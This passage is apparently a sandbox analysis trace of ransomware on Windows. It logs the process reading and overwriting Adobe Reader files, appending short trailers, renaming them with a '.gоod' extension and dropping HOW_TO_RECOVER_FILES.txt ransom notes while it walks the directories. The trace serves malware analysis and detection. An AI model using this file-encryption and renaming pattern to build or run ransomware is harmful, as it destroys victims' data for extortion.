(dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0088.496] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\javascripts\\jsbytecodewin.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0088.496] GetFileType (hFile=0x7b0) returned 0x1 [0088.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0088.496] GetFileType (hFile=0x7b0) returned 0x1 [0088.496] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0088.496] ReadFile (in: hFile=0x7b0, lpBuffer=0x325b528, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x325b528*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0088.764] CloseHandle (hObject=0x7b0) returned 1 [0088.764] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin", lpFilePart=0x0) returned 0x53 [0088.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0088.765] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\javascripts\\jsbytecodewin.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0088.765] GetFileType (hFile=0x7b0) returned 0x1 [0088.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0088.765] GetFileType (hFile=0x7b0) returned 0x1 [0088.765] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x36c4f2 [0088.765] WriteFile (in: hFile=0x7b0, lpBuffer=0x33b93f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x33b93f0*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0088.908] CloseHandle (hObject=0x7b0) returned 1 [0088.909] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin", lpFilePart=0x0) returned 0x53 [0088.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0088.909] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\javascripts\\jsbytecodewin.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0088.909] GetFileType (hFile=0x7b0) returned 0x1 [0088.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0088.909] GetFileType (hFile=0x7b0) returned 0x1 [0088.909] ReadFile (in: hFile=0x7b0, lpBuffer=0x32ea260, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x32ea260*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0089.001] CloseHandle (hObject=0x7b0) returned 1 [0089.005] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin", lpFilePart=0x0) returned 0x53 [0089.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0089.005] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\javascripts\\jsbytecodewin.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0089.005] GetFileType (hFile=0x778) returned 0x1 [0089.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0089.005] GetFileType (hFile=0x778) returned 0x1 [0089.005] WriteFile (in: hFile=0x778, lpBuffer=0x32e8f98*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x32e8f98*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0089.005] CloseHandle (hObject=0x778) returned 1 [0089.006] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin", lpFilePart=0x0) returned 0x53 [0089.006] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin.gоod", lpFilePart=0x0) returned 0x58 [0089.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0089.006] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\javascripts\\jsbytecodewin.bin"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x31444a0f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x36c502)) returned 1 [0089.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0089.006] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\javascripts\\jsbytecodewin.bin"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\javascripts\\jsbytecodewin.bin.gоod")) returned 1 [0089.006] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35bc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5a [0089.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c180) returned 1 [0089.007] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\javascripts\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x778 [0089.007] GetFileType (hFile=0x778) returned 0x1 [0089.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c0f0) returned 1 [0089.007] GetFileType (hFile=0x778) returned 0x1 [0089.008] WriteFile (in: hFile=0x778, lpBuffer=0x34543d8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35c248, lpOverlapped=0x0 | out: lpBuffer=0x34543d8*, lpNumberOfBytesWritten=0x1f35c248*=0x5d0, lpOverlapped=0x0) returned 1 [0089.009] CloseHandle (hObject=0x778) returned 1 [0089.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c210) returned 1 [0089.009] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal", nBufferLength=0x105, lpBuffer=0x1f35bcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal", lpFilePart=0x0) returned 0x3b [0089.009] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\*", lpFindFileData=0x1f35bf30 | out: lpFindFileData=0x1f35bf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0089.508] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.508] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0089.508] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 0 [0089.508] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0089.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c150) returned 1 [0089.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c110) returned 1 [0089.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c210) returned 1 [0089.508] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal", nBufferLength=0x105, lpBuffer=0x1f35bcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal", lpFilePart=0x0) returned 0x3b [0089.509] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\*", lpFindFileData=0x1f35bf30 | out: lpFindFileData=0x1f35bf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0089.553] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.554] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0089.554] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0089.554] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0089.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c150) returned 1 [0089.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c110) returned 1 [0089.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b7e0) returned 1 [0089.554] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU", nBufferLength=0x105, lpBuffer=0x1f35b280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU", lpFilePart=0x0) returned 0x3f [0089.554] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\*", lpFindFileData=0x1f35b500 | out: lpFindFileData=0x1f35b500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0089.555] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.555] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0089.555] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xa909, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0089.555] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0089.555] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0089.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b720) returned 1 [0089.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6e0) returned 1 [0089.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b7e0) returned 1 [0089.556] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU", nBufferLength=0x105, lpBuffer=0x1f35b280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU", lpFilePart=0x0) returned 0x3f [0089.556] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\*", lpFindFileData=0x1f35b500 | out: lpFindFileData=0x1f35b500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0089.556] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.556] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0089.556] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xa909, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0089.556] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xa909, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0089.556] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0089.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b720) returned 1 [0089.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6e0) returned 1 [0089.557] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html", lpFilePart=0x0) returned 0x4c [0089.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b590) returned 1 [0089.557] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\legal\\enu\\license.html"), fInfoLevelId=0x0, lpFileInformation=0x371c588 | out: lpFileInformation=0x371c588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xa909)) returned 1 [0089.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b550) returned 1 [0089.557] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html", lpFilePart=0x0) returned 0x4c [0089.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0089.557] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\legal\\enu\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0089.557] GetFileType (hFile=0x7b4) returned 0x1 [0089.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0089.557] GetFileType (hFile=0x7b4) returned 0x1 [0089.557] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35b5e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35b5e8*=0) returned 0x1000 [0089.558] ReadFile (in: hFile=0x7b4, lpBuffer=0x371c9c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35b5b8, lpOverlapped=0x0 | out: lpBuffer=0x371c9c0*, lpNumberOfBytesRead=0x1f35b5b8*=0x1000, lpOverlapped=0x0) returned 1 [0089.559] CloseHandle (hObject=0x7b4) returned 1 [0089.559] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html", lpFilePart=0x0) returned 0x4c [0089.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0089.559] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\legal\\enu\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0089.559] GetFileType (hFile=0x7b4) returned 0x1 [0089.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0089.559] GetFileType (hFile=0x7b4) returned 0x1 [0089.560] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35b5e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35b5e8*=0) returned 0xa909 [0089.560] WriteFile (in: hFile=0x7b4, lpBuffer=0x371de78*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35b4d8, lpOverlapped=0x0 | out: lpBuffer=0x371de78*, lpNumberOfBytesWritten=0x1f35b4d8*=0x10, lpOverlapped=0x0) returned 1 [0089.572] CloseHandle (hObject=0x7b4) returned 1 [0089.572] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html", lpFilePart=0x0) returned 0x4c [0089.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0089.572] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html" (normalized: "c:\\program files 